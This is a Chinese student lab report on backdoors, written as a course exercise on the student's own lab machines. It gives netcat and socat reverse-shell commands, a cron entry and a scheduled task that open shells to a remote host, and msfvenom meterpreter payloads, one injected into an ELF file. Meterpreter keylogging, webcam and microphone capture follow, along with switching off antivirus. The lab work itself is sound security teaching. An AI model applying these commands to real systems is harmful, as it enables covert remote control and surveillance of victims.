当前位置: 首页 > news >正文

20232301郑好 实验二 后门原理与实践

20232301郑好 实验二 后门原理与实践
备份于: 2025-10-13 19:56

实验2 后门原理与实践

一、实验内容

1.实践目标

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
通过这五个实验可以用不同工具和方式获取远程主机的操作权限并实现持久化控制。

2.实验要求

掌握后门原理及免杀技术

问答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?
比如说在网上随便下了个破解版软件(像盗版adobe全家桶、游戏这种),尤其是p2p告诉下载(崽)器这种,安装时没注意取消隐藏选项,里面藏的后门可能就跟着装到系统里了
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows系统中可能会改注册表的 Run 项,把后门路径加进去,开机就自动启动,Linux可能用crontab定时任务,比如设成每小时执行一次后门脚本,藏在系统定时任务里
(3)Meterpreter有哪些给你映像深刻的功能?
能直接从目标电脑里下载文件,比如偷偷拷走我的文档、照片等等,侵犯个人隐私
(4)如何发现自己有系统有没有被安装后门?
用杀软,或者电脑就算正常使用也比以前卡,检查开机启动项或者打开任务管理器看有没有奇怪的进程

二.实验过程

(1)使用netcat获取主机Shell,并cron启动某项任务。

先查询两机ip并测试本次实验用到的主机和虚拟机之间的连通性,发现可以互ping成功
image

image
在kali中输入nc -l -p 12138监听12138端口,并在windows的cmd中输入ncat.exe -e cmd.exe 192.168.143.128 12138
在kali界面就可以看到windows命令提示
image

接下来用windows获取kali的shell
与之相反,在windows输入ncat.exe -l -p 12138进行监听,而kali输入nc 192.168.43.209 12138 -e /bin/sh
image
可以看到windows获取了kali的shell

在虚拟机中启动cron并在主机监听
在虚拟机上利用crontab -e指令编辑定时任务,输入2用vim编辑器在最后一行添加
35 * * * * nc 192.168.43.209 12138 -e /bin/sh
表示每个小时的35分反向链接windows的12138端口
image
这样即可在每个小时的35分获取kali的shell
image

(2)使用socat获取主机shell

在Windows中按Win+R,再输入compmgmt.msc打开计算机管理
点击创建任务
image
设置触发器,设置操作为启动先前下载好的程序socat.exe,添加参数:
tcp-listen:12138 exec:cmd.exe,pty,stderr
image

image
当到达设定时间后,windows弹出了一个窗口
image
此时在kali输入socat - tcp:192.168.43.209:12138

可以发现我们成功获取了windows主机shell(dir命令的输出太长就不全部展示了)
image

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在kali虚拟机上生成后门可执行程序,指令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.143.128 LPORT=12138 -f exe > 20232301zh_backdoor.exe
后门程序创建成功
image

主机输入ncat.exe -l 12138 > 20232301zh_backdoor.exe开启监听
image

接下来在Kali上用nc 192.168.43.209 12138 < 20232301zh_backdoor.exe将生成的后门程序传过去
在主机可以查找到该程序
image

随后在kali虚拟机中输入msfconsole打开msf控制台
image
(忍者?)
接下来开始进行配置,依此输入如下命令:

use exploit/multi/handler  #进入监听模块		
set payload windows/meterpreter/reverse_tcp	#攻击载荷	
set LHOST 192.168.143.128 
set LPORT 12138

image
输入exploit开始监听,在主机上运行home程序
image
可以看到我们已经成功获取到了windows的shell(其实中间有好多问题搞了好久才解决,后边会说明)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

对目标主机截获音频
承接之前的exploit,输入record_mic进行录音
image

输入webcam_snap调用摄像头拍照
(这里拍出来的照片是黑屏,推测可能是电脑硬件某些方面出了问题,因为执行该指令后是可以看到摄像头的灯打开和权限被调用的,这点已经和老师沟通过了)
image
image

输入screenshot可以进行截屏
image

image

输入

keyscan_start 

读取击键
image
image

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

输入指令:

格式为::msfvenom -p [payload类型] 
LHOST=[KaliIP] LPORT=[自定义端口] 
-x [原始文件] -f [输出格式] > [恶意文件]
#####请注意这是一整条命令
msfvenom -p linux/x86/meterpreter/reverse_tcp
LHOST=192.168.143.128 LPORT=12138 
-x ./pwn20232301shiyan2 -f elf > pwnh

在这段指令中,-p linux/x86/meterpreter/reverse_tcp 仿照任务4中windows的目录指定了使用的 payload 类型,即适用于 Linux x86 系统的 meterpreter 反向 TCP 载荷。LHOST=192.168.143.128,LPORT=12138 表示相应攻击主机的ip和连接端口。-x ./pwn20232301shiyan2将 payload 注入到当前目录下名为pwn20232301shiyan2的文件中(即作为载体);-f elf 指定生成文件的格式为 ELF(适用于 Linux 系统);最后> pwnh制定了输出的恶意文件是pwnh
image
输入chmod +x ./pwnh添加执行权限,才可以完成后边的实验

与任务四相仿,进入msf交互界面,输入

use exploit/multi/handler  #进入监听模块		
set payload linux/x86/meterpreter/reverse_tcp	#攻击载荷	
set LHOST 192.168.143.128 
set LPORT 12138

输入exploit开始监听,打开另一个终端,输入./pwnh运行恶意文件,发现之前的终端已经可以获取到shell了(如图框中的内容)
image

三.问题及解决方案

1.在msf进行exploit命令时出现如下问题:

Meterpreter session 1 closed.
Reason: Died

30af04a3eff78e64de2e89e94e2aaf19
在网上查询好久都没有合适的解决方法,在此特别感谢毕悠尘同学发现了解决方法:

主要原因在于Kali Linux 系统中安装的 Ruby 版本与 Metasploit 框架当前版本所依赖的 Ruby 版本不兼容。

解决步骤:
①:使用以下两条命令更新 Metasploit 框架及其所有依赖项
sudo apt update
sudo apt update && sudo apt install metasploit-framework

②:下载安装 Visual C++ Redistributable:
前往微软官方下载页面:Microsoft Visual C++ Redistributable Latest Supported Downloads
下载 vc_redist.x86.exe(32位版本)
在目标 Windows 主机上运行安装程序并重新启动即可解决

2.windows不让执行任务3、4中的后门程序,而且会自动删除文件
解决方法:暂时关闭windows的病毒和威胁防护,就可以成功运行

3.在任务5中运行pwnh时提示权限不够
解决方法需要输入chmod +x ./pwnh添加执行权限

4.学习感悟与思考

这次实验流程比较长,也费了一番功夫,总的来说这次实验让我受益匪浅,学到了好多攻击手段,可以更好的对网络攻击加以预防。同时对于后门这个概念有了较为深入的理解。总体做下来很累,但是也比较有趣,不仅实现了跨系统的攻击,还真正的调用了我的录音设备和摄像头,还可以进行截屏之类的操作,以前我只在影视作品中见识过这种技术,今天得以实操,让我不禁感叹后门程序的强大。不过整个实验过程有一部分工作是用来关病毒检测和防火墙之类的,也可以看出现在防护措施已经在进步了,如果自己不点程序,也不会被攻击,这也恰恰说明了生活中我们要强加提防相关攻击,网络攻击防御最薄弱的地方还是人,不要被某些破解版软件诱骗,一定要擦亮眼睛。
在此感谢老师和同学们的帮助得以解决了遇到的种种困难,顺利完成实验。

http://www.gsyq.cn/news/24560.html

相关文章:

  • 2025年复合钢丝网厂家推荐排行榜,昆山高精密网版,复合钢丝网公司精选!
  • 2025 年中国超声波流量计行业品牌全景分析报告:十大高性能品牌技术、性能与市场优势深度解析
  • 学习华为昇腾AI教材人工智能研发框架部分Day2
  • 实用指南:WebSocket和长轮询技术在实时性和资源消耗方面有哪些具体的数据对比?
  • 软件工程第三次作业-结对项目
  • Azure DevOps Server 25H2 安装手册
  • 2025精密球轴承优质厂家推荐:无锡雨露精工,国产高端定制首选!
  • Azure DevOps Server 25H2 最新版本发布
  • 2025年粘度计厂家推荐排行榜,在线/旋转/振动/实验室粘度计,反应釜/管线在线粘度计公司推荐!
  • 20232306 2025-2026-1 《网络与系统攻防技术》实验二实验报告
  • 对话式AI竞赛决赛队伍揭晓
  • Boids算法
  • 常见问题解决 --- 为什么我导出的apk不包含dex文件
  • 2025年润滑油厂家推荐排行榜,工业润滑油,汽车润滑油,发动机润滑油,甲醇发动机润滑油,全合成润滑油,长效发动机润滑油公司推荐!
  • 10.19 —— (VP)2022icpc西安
  • Redis 有序集合解析 - 指南
  • 科技领域导师制度与因果分析方法解析
  • 完整教程:使用Celery处理Python Web应用中的异步任务
  • 2025年UV光源厂家推荐排行榜,UV面光源,UV LED点光源,UV LED面光源,UV LED固化机公司精选
  • 比赛与好题记录(2025 9-10)
  • 函数简单传入参数的汇编分析 - 指南
  • 数据类型转换以及内存溢出
  • 2025年UV胶点胶机厂家推荐排行榜,全自动/智能/视觉定位/纽扣/拉链头/拉片/商标/钥匙扣/五金/徽章/线圈/硅胶点胶机公司推荐!
  • 鸿蒙设备开发-gpio控制
  • 如何在Java中进行多线程编程
  • 零售行业绩效流程推行难点及 Tita 目标绩效一体化管理方案
  • 《探索C语言中数组的奥秘(下)》 - 教程
  • [转]学习指南 - PL-600:Microsoft Power Platform 解决方案架构师
  • Vue中keep-alive实现原理解析
  • 深入学习Spring Boot框架